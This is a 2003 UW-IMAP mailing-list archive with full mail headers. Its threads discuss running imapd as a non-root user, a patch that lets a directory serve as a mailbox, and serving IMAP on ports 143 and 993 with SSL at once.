SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to build UW-IMAP to run as myself on a high port. The reasoning being that I have a regular user account on a remote box that doesn't run POP or IMAP. All mail access is by SSHing in and running the mail client locally. Sometimes I'm on a box that doesn't run an SSH client so I'd like to setup IMAP and then use SquirrelMail to access the IMAP server locally and then I can check my mail with a web browser from anywhere. I tried changing the listening port from 143 to 1143 and then compiling, but it appears more complicated than that as it wants to run under inetd and to write temp files to dirs owned by root, etc. Any suggestions on how I would accomplish this? Thank you, ~Matt -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 24 09:11:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 24 Aug 2003 09:11:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGBexd001730 for ; Sun, 24 Aug 2003 09:11:40 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGBTY7012202 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Aug 2003 09:11:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7OGBMTB016886; Sun, 24 Aug 2003 09:11:23 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OG942x061276 for ; Sun, 24 Aug 2003 09:09:04 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OG93ZG006335 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 24 Aug 2003 09:09:03 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OG8uin017830; Sun, 24 Aug 2003 09:08:56 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OG8ujp001653; Sun, 24 Aug 2003 09:08:56 -0700 Message-Id: Date: Sun, 24 Aug 2003 09:08:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Alexander Cc: c-client@u.washington.edu Subject: Re: How to run IMAP as non-root, port >1024 In-Reply-To: <6514.68.96.48.205.1061739239.squirrel@webmail.pdxlug.org> References: <6514.68.96.48.205.1061739239.squirrel@webmail.pdxlug.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, SPAM_PHRASE_01_02' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you run the IMAP server logged in as a non-root user, it will be preauthenticated as that user. This has two consequences: 1) it can not log in as any other user 2) there is no login or other security step; the client can immediately do arbitrary access to the user's mail. Consequently, you only want to run the IMAP server as a non-root user if you have some other authentication/authorization means in place external to IMAP. For example, one such means is ssh imapserver exec /usr/sbin/imapd since ssh implements authentication and authorization itself. I do not know how SquirrelMail works; you should probably check with its author to find out if it even supports access to a preauthenticated IMAP server (and if so how to set up the ssh or whatever link to do it). Most IMAP clients do not. You are on the wrong track about "write temp files to dirs owned by root"; although the /tmp directory is owned by root any user can write to it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Aug 24 09:32:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 24 Aug 2003 09:32:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGWrxd002225 for ; Sun, 24 Aug 2003 09:32:53 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGWoof029302 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Aug 2003 09:32:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7OGWkKH025608; Sun, 24 Aug 2003 09:32:46 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGUe2x061248 for ; Sun, 24 Aug 2003 09:30:40 -0700 Received: from clara.unet.brandeis.edu (clara.unet.brandeis.edu [129.64.99.165]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OGUb7e019723 for ; Sun, 24 Aug 2003 09:30:38 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clara.unet.brandeis.edu (8.12.9/8.12.9) with ESMTP id h7OGUVp1004411 for ; Sun, 24 Aug 2003 12:30:31 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id h7OGUVEx021412 for ; Sun, 24 Aug 2003 12:30:31 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.8/8.12.8/Submit) with ESMTP id h7OGUVvu021408 for ; Sun, 24 Aug 2003 12:30:31 -0400 Message-Id: Date: Sun, 24 Aug 2003 12:30:31 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: How to run IMAP as non-root, port >1024 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, X_AUTH_WARNING, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 24 Aug 2003, Mark Crispin wrote: > If you run the IMAP server logged in as a non-root user, it will be > preauthenticated as that user. This has two consequences: > 1) it can not log in as any other user > 2) there is no login or other security step; the client can immediately > do arbitrary access to the user's mail. Actually, it looks like a relatively simple hack to change the if (uid ==0) to a different uid and skip the setuid bits, but that would be very silly. Bottom line is that UW imapd is 1) the reference implementation by the dudes who invented IMAP, so you can be pretty sure it's correct, and 2) designed to work pretty much as you'd expect with normal unix users following the normal unix security model with normal mail delivery with a default installation of sendmail, or something that acts like it, on a normal unix box. There's a bit more to it -- there's mbx format, which is very nice for speed and multiple access -- but if what you want is *NOT* normal unix users on a normal unix box running a default installation of sendmail or something similar, then you should probably be looking at the Cyrus imapd, which was designed from the start to run on sealed servers, not normal UNIX boxes running a more or less normal mail installation. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Sun Aug 24 10:23:52 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 24 Aug 2003 10:23:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OHNqxd003634 for ; Sun, 24 Aug 2003 10:23:52 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OHNlY7014811 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Aug 2003 10:23:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7OHNdOL077032; Sun, 24 Aug 2003 10:23:39 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OHLI2x015106 for ; Sun, 24 Aug 2003 10:21:18 -0700 Received: from gateway.macdonnell.ca (h68-145-162-148.cg.shawcable.net [68.145.162.148]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OHLAZG021360 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sun, 24 Aug 2003 10:21:16 -0700 Received: from macdonnell.ca (newpc.localdomain@desktop.localdomain [192.168.0.4]) by gateway.macdonnell.ca (8.12.9/8.12.9) with ESMTP id h7OHL9ZE001544 for ; Sun, 24 Aug 2003 11:21:10 -0600 Message-Id: <3F48F405.3040601@macdonnell.ca> Date: Sun, 24 Aug 2003 11:21:09 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Creighton MacDonnell To: c-client@u.washington.edu Subject: Re: How to run IMAP as non-root, port >1024 In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, NO_MX_FOR_FROM, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_01_02' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN For someone who is contemplating customization code to suit themselves, I would suggest that they are better off looking at the UW-IMAP code than at the Cyrus code. I speak from experence. Rich Graves wrote: > > but if what you want is *NOT* normal unix > users on a normal unix box running a default installation of sendmail or > something similar, then you should probably be looking at the Cyrus imapd, > which was designed from the start to run on sealed servers, not normal UNIX > boxes running a more or less normal mail installation. From pinedev@shivax2.cac.washington.edu Sun Aug 24 11:56:43 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 24 Aug 2003 11:56:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OIuhxd006017 for ; Sun, 24 Aug 2003 11:56:43 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OIueY7017823 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Aug 2003 11:56:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7OIuZTB021908; Sun, 24 Aug 2003 11:56:35 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OIsG2x036986 for ; Sun, 24 Aug 2003 11:54:16 -0700 Received: from gateway.macdonnell.ca (h68-145-162-148.cg.shawcable.net [68.145.162.148]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OIs9rM030745 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sun, 24 Aug 2003 11:54:15 -0700 Received: from macdonnell.ca (newpc.localdomain@desktop.localdomain [192.168.0.4]) by gateway.macdonnell.ca (8.12.9/8.12.9) with ESMTP id h7OIs8ZE001676 for ; Sun, 24 Aug 2003 12:54:09 -0600 Message-Id: <3F4909D0.6010105@macdonnell.ca> Date: Sun, 24 Aug 2003 12:54:08 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Creighton MacDonnell To: c-client@u.washington.edu Subject: Re: Directory that is a mailbox In-Reply-To: References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> <3F462931.8070009@macdonnell.ca> <00b101c368be$08d8b280$c800a8c0@wasmer.ca> <3F464B82.3010504@macdonnell.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, NO_MX_FOR_FROM, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, PATCH_UNIFIED_DIFF, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > Please send a copy of the patch to me and I will look at it. If nothing > else, I can offer suggestions for your patch so that it is likely to > remain usable in future releases. > On the off chance that my patch may be useful to others, I have polished it up a bit. And I would indeed appreciate your comments, Mark. A tar ball is available at: http://gnudip2.sourceforge.net/imap/ The README file is available at: http://gnudip2.sourceforge.net/imap/patch/README === It should be much easier to use now. It is free of my configuration details. It does not change the exiting UNIX driver. It adds a new "UNIXSUB" driver - as the default driver. So existing folders will still be accessible (unless there is another folder in the same directory named ".mail"!). Only new ones have the new structure. It is no longer necessary to hide "dot files", and folder names beginning with a dot are allowed. It is actually two patches. The first patch is a minimal change to the IMAP base code. It is in "imap.diff", and these are its contents: --- src/osdep/unix/dummy.c~ 2003-03-05 17:37:40.000000000 -0700 +++ src/osdep/unix/dummy.c 2003-08-23 19:42:27.000000000 -0600 @@ -233,8 +233,11 @@ struct stat sbuf; int ismx; char tmp[MAILTMPLEN]; + char is_mailbox = 0; /* punt if bogus name */ if (!mailboxdir (tmp,dir,NIL)) return; + /* is this a mail box? */ + is_mailbox = (mail_valid(NIL, tmp, NIL) != NIL); if (dp = opendir (tmp)) { /* do nothing if can't open directory */ /* list it if not at top-level */ if (!level && dir && pmatch_full (dir,pat,'/')) @@ -274,6 +277,7 @@ dummy_list_work (stream,tmp,pat,contents,level+1); break; case S_IFREG: /* ordinary name */ + if (!is_mailbox) /* ignore regular file within mailbox */ /* ignore all-digit names from mx */ /* Must use ctime for systems that don't update mtime properly */ if (!(ismx && mx_select (d)) && pmatch_full (tmp,pat,'/') && The "imap.diff" patch introduces into UW-IMAP the notion that a directory can be a mail box. And for a directory that is a mail box,it will ignore any regular files (i.e. not subdirectories) within that directory when scanning the file system. The result is that these will not be visible to an IMAP client. It is up to the mailbox driver for the directory to use these files. It is my hope that "imap.diff", or some equivalent change will be accepted into UW-IMAP, whether or not the driver itself is. The rest of the package is the actual driver, which is still really just a hack of the UNIX driver. I would never expect this to get into the UW-IMAP code. But I think it makes a case for the technique used to allow folders within folders. One short coming I can think of is that there should be something in the ".mail" files that is unique to this driver, which would then be used within the "VALID" macro to ensure that a ".mail" file for this driver is never mistaken for a UNIX driver folder. Thanks. From pinedev@shivax2.cac.washington.edu Mon Aug 25 12:10:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Aug 2003 12:10:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJADxd004060 for ; Mon, 25 Aug 2003 12:10:13 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJ9dY7011735 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 25 Aug 2003 12:09:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7PJ7VOL076902; Mon, 25 Aug 2003 12:07:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PImb2x021706 for ; Mon, 25 Aug 2003 11:48:38 -0700 Received: from chris (theodora.bayswaterfarm.com [217.169.11.202]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PImNSB006103 for ; Mon, 25 Aug 2003 11:48:24 -0700 Received: from theodora.bayswaterfarm.com ([217.169.11.202]) by chris with esmtp (Exim 4.02) id 19rMO6-0007WY-00 for c-client@u.washington.edu; Mon, 25 Aug 2003 19:48:22 +0100 Message-Id: Date: Mon, 25 Aug 2003 19:48:20 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Bunch To: Subject: Using imapd on ports 143 & 993 (SSL) simultaneously? Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__EVITE_CTYPE, __HAS_MSGID, __SANE_MSGID, SPAM_PHRASE_01_02, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is it possible to compile imapd so that it will accept unencrypted logins and sessions on port 143 and also encrypted sessions via SSL on port 993, and if so how? This may seem a crazy idea (and maybe it is) but what I am about to do is upgrade my server from an earlier, non-SSL version of imapd. I have users who connect using standard email clients (eg Entourage) who I would like to move to SSL. I also have a PHP-based webmail client (SquirrelMail) running with Apache on the same server as imapd. Unfortunately, SquirrelMail (SM) doesn't do SSL, though I could set up an stunnel from port 143 to 993 (with additional overheads). However, since SM and imapd are on the same machine, I could block all incoming traffic on port 143, so that the only 'client' that would open sessions with impad on port 143 would be SM locally, and the only option for external (non-web) clients would be SSL via 993. I have tried building with "SSLTYPE=unix" in the make command line but that doesn't achieve the above. Chris Dr Christopher Bunch Bayswater Farm House Headington Oxford OX3 8BY _____________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 25 12:20:12 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Aug 2003 12:20:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJKBxd004681 for ; Mon, 25 Aug 2003 12:20:11 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJJkY7012233 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 25 Aug 2003 12:19:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7PJJYOL077790; Mon, 25 Aug 2003 12:19:34 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJ8Y2x032872 for ; Mon, 25 Aug 2003 12:08:36 -0700 Received: from adsl-66-137-254-217.dsl.rcsntx.swbell.net (adsl-66-137-254-217.dsl.rcsntx.swbell.net [66.137.254.217]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJ8ESB013506 for ; Mon, 25 Aug 2003 12:08:19 -0700 Received: by adsl-66-137-254-217.dsl.rcsntx.swbell.net (Postfix, from userid 79) id C4C4CC222A; Mon, 25 Aug 2003 14:08:12 -0500 (CDT) Received: from jimandlissa.com (unknown [151.138.254.21]) by adsl-66-137-254-217.dsl.rcsntx.swbell.net (Postfix) with ESMTP id 3DEB1C2227; Mon, 25 Aug 2003 14:08:10 -0500 (CDT) Message-Id: <730172FD-D72F-11D7-A859-000393197282@jimandlissa.com> Date: Mon, 25 Aug 2003 14:08:02 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: Chris Bunch Cc: Subject: Re: Using imapd on ports 143 & 993 (SSL) simultaneously? In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v578) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-102.0 required=6.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL,USER_IN_WHITELIST version=2.55-2003080200 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.55-2003080200 (1.174.2.19-2003-05-19-exp) X-Sanitizer: Anomy X-Uwash-Spam: Gauge=X, Probability=10%, Report='__HAS_MSGID, __SANE_MSGID, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, FORGED_RCVD_TRAIL, REFERENCES, IN_REP_TO, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Is it possible to compile imapd so that it will accept unencrypted > logins > and sessions on port 143 and also encrypted sessions via SSL on port > 993, > and if so how? Look through docs/SSLBUILD in the source distribution. It describes the process in detail. Make sure you set up your inetd/xinetd config properly (assuming a Unix-type system). From pinedev@shivax2.cac.washington.edu Mon Aug 25 12:21:49 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Aug 2003 12:21:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJLnxd004816 for ; Mon, 25 Aug 2003 12:21:49 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJLdY7012333 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 25 Aug 2003 12:21:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7PJLYJ8037660; Mon, 25 Aug 2003 12:21:34 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJFe2x021544 for ; Mon, 25 Aug 2003 12:15:40 -0700 Received: from secure4.developerschoice.net (secure4.developerschoice.net [209.69.207.2]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJFKrL015426 for ; Mon, 25 Aug 2003 12:15:20 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=dev ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 19rMoB-0007Fj-00; Mon, 25 Aug 2003 15:15:20 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C70B4E99@exchange1.developerschoice.com> Date: Mon, 25 Aug 2003 15:15:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'Chris Bunch'" , Subject: RE: Using imapd on ports 143 & 993 (SSL) simultaneously? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, __IN_REP_TO, IN_REP_TO, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu] On Behalf Of Chris Bunch > Sent: Monday, August 25, 2003 2:48 PM > To: c-client@u.washington.edu > Subject: Using imapd on ports 143 & 993 (SSL) simultaneously? > > > Is it possible to compile imapd so that it will accept > unencrypted logins and sessions on port 143 and also > encrypted sessions via SSL on port 993, and if so how? > > This may seem a crazy idea (and maybe it is) but what I am > about to do is upgrade my server from an earlier, non-SSL > version of imapd. I have users who connect using standard > email clients (eg Entourage) who I would like to move to SSL. > I also have a PHP-based webmail client (SquirrelMail) running > with Apache on the same server as imapd. It's not a crazy idea, I do the same thing since I didn't want any potential overhead nor problems for non-SSL IMAP users. However, I did it with two different executables and then just pointed inetd to the respective imapd per port number. Works great, lasts a long time. Keep in mind imapd doesn't listen on any ports itself; it's handed the session by inetd, or xinetd if that's your game. From pinedev@shivax2.cac.washington.edu Mon Aug 25 12:26:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Aug 2003 12:26:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJQTxd005167 for ; Mon, 25 Aug 2003 12:26:29 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJQRof025460 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 25 Aug 2003 12:26:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7PJQJOL085874; Mon, 25 Aug 2003 12:26:20 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJPk2x041584 for ; Mon, 25 Aug 2003 12:25:46 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJPgsQ007709 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 25 Aug 2003 12:25:42 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJP9xu028127; Mon, 25 Aug 2003 12:25:09 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7PJP9K3016366; Mon, 25 Aug 2003 12:25:09 -0700 Message-Id: Date: Mon, 25 Aug 2003 12:25:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Bunch Cc: c-client@u.washington.edu Subject: Re: Using imapd on ports 143 & 993 (SSL) simultaneously? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=III, Probability=3%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 25 Aug 2003, Chris Bunch wrote: > Is it possible to compile imapd so that it will accept unencrypted logins > and sessions on port 143 and also encrypted sessions via SSL on port 993, > and if so how? All recent versions of UW imapd recognize that it has been invoked on port 143 vs. port 993, and automatically puts itself into the correct mode, as long as it was built with SSL support (that is, not using SSLTYPE=none). If you build with SSLTYPE=unix, then unencrypted logins are permitted on port 143 (that is, you 